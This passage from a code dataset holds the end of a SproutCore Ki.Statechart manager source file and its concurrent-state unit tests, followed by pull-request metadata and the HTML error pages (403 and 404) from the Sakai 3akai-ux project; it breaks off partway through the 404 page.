this._traverseStatesToExit(exitStatePath.shift(), exitStatePath, stopState, gotoStateActions);\n  },\n  \n  /** @private\n  \n    Recursively follow states that are to be entred during the state transition process. The\n    enter process is to start from the given state and work its way down a given enter path. When\n    the end of enter path has been reached, then continue entering states based on whether \n    an initial substate is defined, there are concurrent substates or history states are to be\n    followed; when none of those condition are met then the enter process is done.\n    \n    @param state {State} the sate to be entered\n    @param enterStatePath {Array} an array representing an initial path of states that are to be entered\n    @param pivotState {State} The state pivoting when to go from exiting states to entering states\n    @param useHistory {Boolean} indicates whether to recursively follow history states \n  */\n  _traverseStatesToEnter: function(state, enterStatePath, pivotState, useHistory, gotoStateActions) {\n    if (!state) return;\n    \n    var trace = this.get('allowTracing');\n    \n    // We do not want to enter states in the enter path until the pivot state has been reached. After\n    // the pivot state has been reached, then we can go ahead and actually enter states.\n    if (pivotState) {\n      if (state !== pivotState) {\n        this._traverseStatesToEnter(enterStatePath.pop(), enterStatePath, pivotState, useHistory, gotoStateActions);\n      } else {\n        this._traverseStatesToEnter(enterStatePath.pop(), enterStatePath, null, useHistory, gotoStateActions);\n      }\n    }\n    \n    // If no more explicit enter path instructions, then default to enter states based on \n    // other criteria\n    else if (!enterStatePath || enterStatePath.length === 0) {\n      var gotoStateAction = { action: Ki.ENTER_STATE, state: state, currentState: NO };\n      gotoStateActions.push(gotoStateAction);\n      \n      var initialSubstate = state.get('initialSubstate'),\n          historyState = state.get('historyState');\n      \n      // State has concurrent substates. Need to enter all of the substates\n      if (state.get('substatesAreConcurrent')) {\n        this._traverseConcurrentStatesToEnter(state.get('substates'), null, useHistory, gotoStateActions);\n      }\n      \n      // State has substates and we are instructed to recursively follow the state's\n      // history state if it has one.\n      else if (state.get('hasSubstates') && historyState && useHistory) {\n        this._traverseStatesToEnter(historyState, null, null, useHistory, gotoStateActions);\n      }\n      \n      // State has an initial substate to enter\n      else if (initialSubstate) {\n        if (SC.kindOf(initialSubstate, Ki.HistoryState)) {\n          if (!useHistory) useHistory = initialSubstate.get('isRecursive');\n          initialSubstate = initialSubstate.get('state');\n        }\n        this._traverseStatesToEnter(initialSubstate, null, null, useHistory, gotoStateActions);  \n      } \n      \n      // Looks like we hit the end of the road. Therefore the state has now become\n      // a current state of the statechart.\n      else {\n        gotoStateAction.currentState = YES;\n      }\n    }\n    \n    // Still have an explicit enter path to follow, so keep moving through the path.\n    else if (enterStatePath.length > 0) {\n      gotoStateActions.push({ action: Ki.ENTER_STATE, state: state });\n      var nextState = enterStatePath.pop();\n      this._traverseStatesToEnter(nextState, enterStatePath, null, useHistory, gotoStateActions); \n      \n      // We hit a state that has concurrent substates. Must go through each of the substates\n      // and enter them\n      if (state.get('substatesAreConcurrent')) {\n        this._traverseConcurrentStatesToEnter(state.get('substates'), nextState, useHistory, gotoStateActions);\n      }\n    }\n  },\n  \n  /** @override\n  \n    Returns YES if the named value translates into an executable function on\n    any of the statechart's current states or the statechart itself.\n    \n    @param event {String} the property name to check\n    @returns {Boolean}\n  */\n  respondsTo: function(event) {\n    var currentStates = this.get('currentStates'),\n        len = currentStates.get('length'), \n        i = 0, state = null;\n        \n    for (; i < len; i += 1) {\n      state = currentStates.objectAt(i);\n      while (state) {\n        if (state.respondsToEvent(event)) return true;\n        state = state.get('parentState');\n      }\n    }\n    \n    // None of the current states can respond. Now check the statechart itself\n    return SC.typeOf(this[event]) === SC.T_FUNCTION;   \n  },\n  \n  /** @override\n  \n    Attemps to handle a given event against any of the statechart's current states and the\n    statechart itself. If any current state can handle the event or the statechart itself can\n    handle the event then YES is returned, otherwise NO is returned.\n  \n    @param event {String} what to perform\n    @param arg1 {Object} Optional\n    @param arg2 {Object} Optional\n    @returns {Boolean} YES if handled, NO if not handled\n  */\n  tryToPerform: function(event, arg1, arg2) {\n    if (this.respondsTo(event)) {\n      if (SC.typeOf(this[event]) === SC.T_FUNCTION) return (this[event](arg1, arg2) !== NO);\n      else return !!this.sendEvent(event, arg1, arg2);\n    } return NO;\n  },\n  \n  /**\n    Used to invoke a method on current states. If the method can not be executed\n    on a current state, then the state's parent states will be tried in order\n    of closest ancestry.\n    \n    A few notes: \n    \n      1) Calling this is not the same as calling sendEvent or sendAction.\n         Rather, this should be seen as calling normal methods on a state that \n         will *not* call gotoState or gotoHistoryState. \n      \n      2) A state will only ever be invoked once per call. So if there are two \n         or more current states that have the same parent state, then that parent \n         state will only be invoked once if none of the current states are able\n         to invoke the given method.\n    \n    When calling this method, you are able to supply zero ore more arguments\n    that can be pass onto the method called on the states. As an example\n    \n    {{{\n    \n      invokeStateMethod('render', context, firstTime);\n    \n    }}}\n    \n    The above call will invoke the render method on the current states\n    and supply the context and firstTime arguments to the method. \n    \n    Because a statechart can have more than one current state and the method \n    invoked may return a value, the addition of a callback function may be provided \n    in order to handle the returned value for each state. As an example, let's say\n    we want to call a calculate method on the current states where the method\n    will return a value when invoked. We can handle the returned values like so:\n    \n    {{{\n    \n      invokeStateMethod('calculate', value, function(state, result) {\n        // .. handle the result returned from calculate that was invoked\n        //    on the given state\n      })\n    \n    }}}\n    \n    If the method invoked does not return a value and a callback function is\n    supplied, then result value will simply be undefined. In all cases, if\n    a callback function is given, it must be the last value supplied to this\n    method.\n    \n    invokeStateMethod will return a value if only one state was able to have \n    the given method invoked on it, otherwise no value is returned. \n    \n    @param methodName {String} methodName a method name\n    @param args {Object...} Optional. any additional arguments\n    @param func {Function} Optional. a callback function. Must be the last\n           value supplied if provided.\n           \n    @returns a value if the number of current states is one, otherwise undefined\n             is returned. The value is the result of the method that got invoked\n             on a state.\n  */\n  invokeStateMethod: function(methodName, args, func) {\n    if (methodName === 'unknownEvent') {\n      this.statechartLogError(\"can not invoke method unkownEvent\");\n      return;\n    }\n    \n    args = SC.A(arguments); args.shift();\n    \n    var len = args.length, \n        arg = len > 0 ? args[len - 1] : null,\n        callback = SC.typeOf(arg) === SC.T_FUNCTION ? args.pop() : null,\n        currentStates = this.get('currentStates'), \n        i = 0, state = null, checkedStates = {},\n        method, result = undefined, calledStates = 0;\n        \n    len = currentStates.get('length');\n    \n    for (; i < len; i += 1) {\n      state = currentStates.objectAt(i);\n      while (state) {\n        if (checkedStates[state.get('fullPath')]) break;\n        checkedStates[state.get('fullPath')] = YES;\n        method = state[methodName];\n        if (SC.typeOf(method) === SC.T_FUNCTION && !method.isEventHandler) {\n          result = method.apply(state, args);\n          if (callback) callback.call(this, state, result);\n          calledStates += 1;  \n          break;\n        }\n        state = state.get('parentState');\n      }\n    }\n    \n    return calledStates === 1 ? result : undefined;\n  },\n  \n  /** @private\n  \n    Iterate over all the given concurrent states and enter them\n  */\n  _traverseConcurrentStatesToEnter: function(states, exclude, useHistory, gotoStateActions) {\n    var i = 0,\n        len = states.length,\n        state = null;\n    \n    for (; i < len; i += 1) {\n      state = states[i];\n      if (state !== exclude) this._traverseStatesToEnter(state, null, null, useHistory, gotoStateActions);\n    }\n  },\n  \n  /** @private\n  \n    Called by gotoState to flush a pending state transition at the front of the \n    pending queue.\n  */\n  _flushPendingStateTransition: function() {\n    if (!this._pendingStateTransitions) {\n      this.statechartLogError(\"Unable to flush pending state transition. _pendingStateTransitions is invalid\");\n      return;\n    }\n    var pending = this._pendingStateTransitions.shift();\n    if (!pending) return;\n    this.gotoState(pending.state, pending.fromCurrentState, pending.useHistory, pending.context);\n  },\n  \n  /** @private\n\n     Called by sendEvent to flush a pending actions at the front of the pending\n     queue\n   */\n  _flushPendingSentEvents: function() {\n    var pending = this._pendingSentEvents.shift();\n    if (!pending) return null;\n    return this.sendEvent(pending.event, pending.arg1, pending.arg2);\n  },\n  \n  /** @private */\n  _monitorIsActiveDidChange: function() {\n    if (this.get('monitorIsActive') && SC.none(this.get('monitor'))) {\n      this.set('monitor', Ki.StatechartMonitor.create());\n    }\n  }.observes('monitorIsActive'),\n  \n  /** @private \n    Will process the arguments supplied to the gotoState method.\n    \n    TODO: Come back to this and refactor the code. It works, but it\n          could certainly be improved\n  */\n  _processGotoStateArgs: function(args) {\n    var processedArgs = { \n          state: null, \n          fromCurrentState: null, \n          useHistory: false, \n          context: null \n        },\n        len = null,\n        value = null;\n        \n    args = SC.$A(args);\n    args = args.filter(function(item) {\n      return !(item === undefined); \n    });\n    len = args.length;\n    \n    if (len < 1) return processedArgs;\n    \n    processedArgs.state = args[0];\n    \n    if (len === 2) {\n      value = args[1];\n      switch (SC.typeOf(value)) {\n      case SC.T_BOOL: \n        processedArgs.useHistory = value;\n        break;\n      case SC.T_HASH:\n        processedArgs.context = value;\n        break;\n      default:\n        processedArgs.fromCurrentState = value;\n      }\n    }\n    else if (len === 3) {\n      value = args[1];\n      if (SC.typeOf(value) === SC.T_BOOL) {\n        processedArgs.useHistory = value;\n        processedArgs.context = args[2];\n      } else {\n        processedArgs.fromCurrentState = value;\n        value = args[2];\n        if (SC.typeOf(value) === SC.T_BOOL) {\n          processedArgs.useHistory = value;\n        } else {\n          processedArgs.context = value;\n        }\n      }\n    }\n    else {\n      processedArgs.fromCurrentState = args[1];\n      processedArgs.useHistory = args[2];\n      processedArgs.context = args[3];\n    }\n    \n    return processedArgs;\n  },\n  \n  /** @private \n  \n    Will return a newly constructed root state class. The root state will have substates added to\n    it based on properties found on this state that derive from a Ki.State class. For the\n    root state to be successfully built, the following much be met:\n    \n      - The rootStateExample property must be defined with a class that derives from Ki.State\n      - Either the initialState or statesAreConcurrent property must be set, but not both\n      - There must be one or more states that can be added to the root state\n      \n  */\n  _constructRootStateClass: function() {\n    var rsExampleKey = 'rootStateExample',\n        rsExample = this.get(rsExampleKey),\n        initialState = this.get('initialState'),\n        statesAreConcurrent = this.get('statesAreConcurrent'),\n        stateCount = 0,\n        key, value, valueIsFunc, attrs = {};\n    \n    if (SC.typeOf(rsExample) === SC.T_FUNCTION && rsExample.statePlugin) {\n      rsExample = rsExample.apply(this);\n    }\n\n    if (!(SC.kindOf(rsExample, Ki.State) && rsExample.isClass)) {\n      this._logStatechartCreationError(\"Invalid root state example\");\n      return null;\n    }\n    \n    if (statesAreConcurrent && !SC.empty(initialState)) {\n      this._logStatechartCreationError(\"Can not assign an initial state when states are concurrent\");\n    } else if (statesAreConcurrent) {\n      attrs.substatesAreConcurrent = YES;\n    } else if (SC.typeOf(initialState) === SC.T_STRING) {\n      attrs.initialSubstate = initialState;\n    } else {\n      this._logStatechartCreationError(\"Must either define initial state or assign states as concurrent\");\n      return null;\n    }\n    \n    for (key in this) {\n      if (key === rsExampleKey) continue;\n      \n      value = this[key];\n      valueIsFunc = SC.typeOf(value) === SC.T_FUNCTION;\n      \n      if (valueIsFunc && value.statePlugin) {\n        value = value.apply(this);\n      }\n      \n      if (SC.kindOf(value, Ki.State) && value.isClass && this[key] !== this.constructor) {\n        attrs[key] = value;\n        stateCount += 1;\n      }\n    }\n    \n    if (stateCount === 0) {\n      this._logStatechartCreationError(\"Must define one or more states\");\n      return null;\n    }\n    \n    return rsExample.extend(attrs);\n  },\n  \n  /** @private */\n  _logStatechartCreationError: function(msg) {\n    SC.Logger.error(\"Unable to create statechart for %@: %@.\".fmt(this, msg));\n  },\n  \n  /** \n    Used to log a statechart trace message\n  */\n  statechartLogTrace: function(msg) {\n    SC.Logger.info(\"%@: %@\".fmt(this.get('statechartLogPrefix'), msg));\n  },\n  \n  /**\n    Used to log a statechart error message\n  */\n  statechartLogError: function(msg) {\n    SC.Logger.error(\"ERROR %@: %@\".fmt(this.get('statechartLogPrefix'), msg));\n  },\n  \n  /** \n    Used to log a statechart warning message\n  */\n  statechartLogWarning: function(msg) {\n    if (this.get('suppressStatechartWarnings')) return;\n    SC.Logger.warn(\"WARN %@: %@\".fmt(this.get('statechartLogPrefix'), msg));\n  },\n  \n  /** @property */\n  statechartLogPrefix: function() {\n    var className = SC._object_className(this.constructor),\n        name = this.get('name'), prefix;\n        \n    if (SC.empty(name)) prefix = \"%@<%@>\".fmt(className, SC.guidFor(this));\n    else prefix = \"%@<%@, %@>\".fmt(className, name, SC.guidFor(this));\n    \n    return prefix;\n  }.property().cacheable(),\n\n  /** @private @property */\n  allowTracing: function() {\n    var key = this.get('statechartTraceKey');\n    return this.get(key);\n  }.property().cacheable(),\n\n  /** @private */\n  _statechartTraceDidChange: function() {\n    this.notifyPropertyChange('allowTracing');\n  }\n  \n};\n\n/** \n  The default name given to a statechart's root state\n*/\nKi.ROOT_STATE_NAME = \"__ROOT_STATE__\";\n\n/**\n  Constants used during the state transition process\n*/\nKi.EXIT_STATE = 0;\nKi.ENTER_STATE = 1;\n\n/**\n  A Startchart class. \n*/\nKi.Statechart = SC.Object.extend(Ki.StatechartManager, {\n  autoInitStatechart: NO\n});\n\nKi.Statechart.design = Ki.Statechart.extend;\n\n/**\n  Represents a call that is intended to be asynchronous. This is\n  used during a state transition process when either entering or\n  exiting a state.\n*/\nKi.Async = SC.Object.extend({\n  \n  func: null,\n  \n  arg1: null,\n  \n  arg2: null,\n  \n  /** @private\n    Called by the statechart\n  */\n  tryToPerform: function(state) {\n    var func = this.get('func'),\n        arg1 = this.get('arg1'),\n        arg2 = this.get('arg2'),\n        funcType = SC.typeOf(func);\n      \n    if (funcType === SC.T_STRING) {\n      state.tryToPerform(func, arg1, arg2);\n    } \n    else if (funcType === SC.T_FUNCTION) {\n      func.apply(state, [arg1, arg2]);\n    }\n  }\n  \n});\n\n/**\n  Singleton\n*/\nKi.Async.mixin({\n  \n  /**\n    Call in either a state's enterState or exitState method when you\n    want a state to perform an asynchronous action, such as an animation.\n    \n    Examples:\n    \n    {{\n    \n      Ki.State.extend({\n    \n        enterState: function() {\n          return Ki.Async.perform('foo');\n        },\n      \n        exitState: function() {\n          return Ki.Async.perform('bar', 100);\n        }\n      \n        foo: function() { ... },\n      \n        bar: function(arg) { ... }\n    \n      });\n    \n    }}\n    \n    @param func {String|Function} the functio to be invoked on a state\n    @param arg1 Optional. An argument to pass to the given function\n    @param arg2 Optional. An argument to pass to the given function\n    @return {Ki.Async} a new instance of a Ki.Async\n  */\n  perform: function(func, arg1, arg2) {\n    return Ki.Async.create({ func: func, arg1: arg1, arg2: arg2 });\n  }\n  \n});\n", "frameworks/foundation/tests/event_handling/basic/with_concurrent_states.js": "// ==========================================================================\n// Ki.Statechart Unit Test\n// ==========================================================================\n/*globals Ki */\n\nvar statechart = null;\n\n// ..........................................................\n// CONTENT CHANGING\n// \n\nmodule(\"Ki.Statechart: With Concurrent States - Send Event Tests\", {\n  setup: function() {\n\n    statechart = Ki.Statechart.create({\n      \n      monitorIsActive: YES,\n      \n      rootState: Ki.State.design({\n        \n        initialSubstate: 'x',\n        \n        x: Ki.State.design({\n          \n          substatesAreConcurrent: YES,\n          \n          a: Ki.State.design({\n\n            initialSubstate: 'c',\n\n            eventAInvoked: NO,\n\n            eventA: function() { this.set('eventAInvoked', YES); },\n\n            c: Ki.State.design({\n              eventB: function() { this.gotoState('d'); },\n              eventD: function() { this.gotoState('y'); }\n            }),\n\n            d: Ki.State.design({\n              eventC: function() { this.gotoState('c'); }\n            })\n\n          }),\n\n          b: Ki.State.design({\n\n            initialSubstate: 'e',\n\n            eventAInvoked: NO,\n\n            eventA: function() { this.set('eventAInvoked', YES); },\n\n            e: Ki.State.design({\n              eventB: function() { this.gotoState('f'); },\n              eventD: function() { this.gotoState('y'); }\n            }),\n\n            f: Ki.State.design({\n              eventC: function() { this.gotoState('e'); }\n            })\n\n          })\n          \n        }),\n        \n        y: Ki.State.design(),\n\n        numEventEInvocations: 0,\n\n        eventE: function() {\n          var num = this.get('numEventEInvocations');\n          this.set('numEventEInvocations', num + 1);\n        }\n      })\n      \n    });\n    \n    statechart.initStatechart();\n  },\n  \n  teardown: function() {\n    statechart.destroy();\n    statechart = null;\n  }\n});\n\ntest(\"send event eventA\", function() {\n  var monitor = statechart.get('monitor'),\n      stateA = statechart.getState('a'),\n      stateB = statechart.getState('b');\n      \n  monitor.reset();\n\n  equals(stateA.get('eventAInvoked'), false);\n  equals(stateB.get('eventAInvoked'), false);\n\n  statechart.sendEvent('eventA');\n  \n  equals(monitor.get('length'), 0, 'state sequence should be of length 0');\n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n  equals(stateA.get('eventAInvoked'), true);\n  equals(stateB.get('eventAInvoked'), true);\n});\n\ntest(\"send event eventB\", function() {\n  var monitor = statechart.get('monitor');\n      \n  monitor.reset();\n  \n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n  \n  statechart.sendEvent('eventB');\n  \n  equals(statechart.get('currentStateCount'), 2, 'current state count should be 2');\n  equals(statechart.stateIsCurrentState('d'), true, 'current state should be d');\n  equals(statechart.stateIsCurrentState('f'), true, 'current state should be f');\n  \n  equals(monitor.get('length'), 4, 'state sequence should be of length 4');\n  equals(monitor.matchSequence()\n                .begin()\n                .exited('c').entered('d')\n                .exited('e').entered('f')\n                .end(), \n          true, 'sequence should be exited[c], entered[d], exited[e], entered[f]');\n});\n\ntest(\"send event eventB then eventC\", function() {\n  var monitor = statechart.get('monitor');\n\n  statechart.sendEvent('eventB');\n  \n  equals(statechart.stateIsCurrentState('d'), true, 'current state should be d');\n  equals(statechart.stateIsCurrentState('f'), true, 'current state should be f');\n\n  monitor.reset();\n  \n  statechart.sendEvent('eventC');\n\n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n\n  equals(monitor.get('length'), 4, 'state sequence should be of length 4');\n  equals(monitor.matchSequence()\n                .begin()\n                .exited('d').entered('c')\n                .exited('f').entered('e')\n                .end(), \n          true, 'sequence should be exited[d], entered[c], exited[f], entered[e]');\n});\n\ntest(\"send event eventD\", function() {\n  var monitor = statechart.get('monitor');\n      \n  monitor.reset();\n  \n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n  \n  statechart.sendEvent('eventD');\n  \n  equals(monitor.get('length'), 6, 'state sequence should be of length 6');\n  equals(monitor.matchSequence()\n                .begin()\n                .exited('c', 'a', 'e', 'b', 'x').entered('y')\n                .end(), \n          true, 'sequence should be exited[c, a, e, b, x], entered[y]');\n          \n  equals(statechart.currentStateCount(), 1, 'statechart should only have 1 current state');\n  equals(statechart.stateIsCurrentState('c'), false, 'current state not should be c');\n  equals(statechart.stateIsCurrentState('e'), false, 'current state not should be e');\n  equals(statechart.stateIsCurrentState('y'), true, 'current state should be y');\n});\n\ntest(\"send event eventE\", function() {\n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n\n  statechart.sendEvent('eventE');\n\n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n\n  equals(statechart.getPath('rootState.numEventEInvocations'), 1, 'eventE should be invoked only once')\n});\n\ntest(\"send event eventZ\", function() {\n  var monitor = statechart.get('monitor');\n      \n  monitor.reset();\n  \n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n  \n  equals(monitor.get('length'), 0, 'state sequence should be of length 0');\n  \n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n});\n"}}
{"repo": "nicolaasmatthijs/3akai-ux", "pr_number": 21, "title": "SAKIII-4928, SAKIII-4936, SAKIII-4942, SAKIII-4958, SAKIII-4961, SAKIII-4967, SAKIII-4968, SAKIII-4971, SAKIII-4878, SAKIII-4980, SAKIII-4997, SAKIII-5002, SAKIII-5028, SAKIII-5029, SAKIII-5032", "state": "closed", "merged_at": "2012-02-22T13:54:17Z", "additions": 109191, "deletions": 3438, "files_changed": ["dev/403.html", "dev/404.html", "dev/500.html", "dev/acknowledgements.html", "dev/allcategories.html", "dev/category.html", "dev/configuration/config.js", "dev/content_profile.html", "dev/create_new_account.html", "dev/createnew.html", "dev/css/FSS/fss-base.css", "dev/css/sakai/sakai.base.css", "dev/css/sakai/sakai.corev1.css", "dev/group.html", "dev/index.html", "dev/javascript/acknowledgements.js", "dev/javascript/category.js", "dev/javascript/content_profile.js", "dev/javascript/createnew.js", "dev/javascript/search.js", "dev/javascript/user.js", "dev/layout1.html", "dev/layout2.html", "dev/lib/__tinymce/classes/AddOnManager.js", "dev/lib/__tinymce/classes/ControlManager.js"], "files_before": {"dev/403.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <!-- Sakai 3 R&amp;D - Access denied -->\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n\n        <!-- Sakai Error CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.error.css\" />\n\n    </head>\n\n    <body class=\"fl-centered error403 i18nable\">\n\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div id=\"error_content\">\n                <div id=\"error_content_second_column\">\n                    <div id=\"error_sign_in_button\">\n                        <p class=\"error_signin_button topnavigation_trigger_login\"><button>__MSG__SIGN_IN__</button></p>\n                        <p id=\"error_sign_up\">__MSG__NO_ACCOUNT__ <a class=\"s3d-regular-links s3d-bold\" href=\"/register\">__MSG__SIGN_UP__</a></p>\n                    </div>\n                    <div class=\"error_content_second_column_box\">\n                        <div class=\"s3d-contentpage-title\">__MSG__ARE_YOU_LOOKING_FOR__</div>\n                        <div id=\"error_content_second_column_box_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=content\">__MSG__CONTENT__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=people\">__MSG__PEOPLE__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div id=\"error_second_column_links_template\" style=\"display:none\"><!--\n                            {for w in worlds}\n                                <div class=\"error_content_second_column_box_item_container\">\n                                    <div class=\"error_content_second_column_box_item_content\">\n                                        <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=${w.id}\">${w.label}</a>\n                                    </div>\n                                </div>\n                                {if !w.last}\n                                    <hr class=\"s3d-split-line fl-push\" />\n                                {/if}\n                            {/for}\n                            <div class=\"error_content_second_column_box_footer\"></div>\n                            --></div>\n                        </div>\n                    </div>\n\n                    <div class=\"error_content_second_column_box browse_cats\">\n                        <div class=\"s3d-contentpage-title\">__MSG__BROWSE_CATEGORIES__</div>\n                        <div id=\"error_content_second_column_box_browse_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <p>__MSG__YOU_CAN_BROWSE_THIS_INSTITUTION__ <a href=\"/categories\"><span class=\"error_browse_cats\"><span id=\"error_browse_category_number\"></span> __MSG__CATEGORIES_LC__</span></a> __MSG__WHERE_YOU_CAN_CONNECT_WITH_PEOPLE_VIEW_COURSE_DETAILS_SEARCH_FOR_CONTENT_AND_JOIN_GROUPS__</p>\n                                </div>\n                            </div>\n                         <div class=\"error_content_second_column_box_footer\">\n                            <a href=\"/categories\" id=\"error_browse_categories_button\">\n                                <button class=\"s3d-button s3d-overlay-button\">__MSG__BROWSE_CATEGORIES__</button>\n                            </a>\n                         </div>\n                        </div>\n                    </div>\n                </div>\n                <div id=\"error_content_first_column\">\n                    <img src=\"/dev/images/403_sinking.png\" alt=\"__MSG__YOU_ARE_NOT_ALLOWED_TO_SEE_THIS_PAGE__\" />\n                    <div id=\"error_content_first_column_content\">\n                        <h1>__MSG__YOU_ARE_NOT_ALLOWED_TO_SEE_THIS_PAGE__</h1>\n                        <h3 class=\"first\">__MSG__YOU_TRIED_TO_ACCESS_PAGE_WITHOUT_PERMISSIONS__</h3>\n\n                        <h3>__MSG__WHAT_TO_DO_NOW_HERE_ARE_SOME_SUGGESTIONS__</h3>\n                        <div class=\"s3d-search-container\">\n                            <input type=\"text\" tabindex_none=\"40\" id=\"errorsearch_text\" title=\"__MSG__SEARCH_FOR__\" class=\"s3d-search-inputfield\" maxlength=\"255\"/>\n                            <button type=\"button\" class=\"s3d-button s3d-overlay-button s3d-search-button\">\n                                <img src=\"/dev/images/search_icon.png\" alt=\"__MSG__SEARCH_FOR__\"/>\n                            </button>\n                        </div>\n\n                        <div id=\"error_page_links_container\"></div>\n                        <div id=\"error_page_links_template\" style=\"display:none\"><!--\n                            <ul>\n                                {for w in links.whatToDo}\n                                    <li><a class=\"s3d-regular-links s3d-bold\" href=\"${w.url}\">${sakai.api.i18n.getValueForKey(w.title)}</a></li>\n                                {/for}\n                                {if document.referrer}\n                                    <li><a href=\"${document.referrer}\" class=\"s3d-regular-links s3d-bold\">__MSG__GO_BACK_BY_USING_YOUR_BROWSER_BACK_BUTTON__</a></li>\n                                {/if}\n                            </ul>\n\n                            {if links.getInTouch && links.getInTouch.length > 0}\n                                <h3>__MSG__GET_IN_TOUCH__</h3>\n                                <ul>\n                                    {for g in links.getInTouch}\n                                        <li><a class=\"s3d-regular-links s3d-bold\" href=\"${g.url}\">${sakai.api.i18n.getValueForKey(g.title)}</a></li>\n                                    {/for}\n                                </ul>\n                            {/if}\n                        --></div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n\n        <!-- 403 JS -->\n        <script>require([\"/dev/javascript/sakai.403.js\"]);</script>\n    </body>\n</html>\n", "dev/404.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <!-- Sakai 3 R&amp;D - Page not found -->\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n\n        <!-- Sakai Error CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.error.css\" />\n\n    </head>\n\n    <body class=\"fl-centered error404 i18nable\">\n\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div id=\"error_content\">\n                <div id=\"error_content_second_column\">\n                    <div id=\"error_sign_in_button\">\n                        <p class=\"error_signin_button topnavigation_trigger_login\"><button>__MSG__SIGN_IN__</button></p>\n                        <p id=\"error_sign_up\">__MSG__NO_ACCOUNT__ <a class=\"s3d-regular-links s3d-bold\" href=\"/register\">__MSG__SIGN_UP__</a></p>\n                    </div>\n                    <div class=\"error_content_second_column_box\">\n                        <div class=\"s3d-contentpage-title\">__MSG__ARE_YOU_LOOKING_FOR__</div>\n                        <div id=\"error_content_second_column_box_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=content\">__MSG__CONTENT__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=people\">__MSG__PEOPLE__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div id=\"error_second_column_links_template\" style=\"display:none\"><!--\n                            {for w in worlds}\n                                <div class=\"error_content_second_column_box_item_container\">\n                                    <div 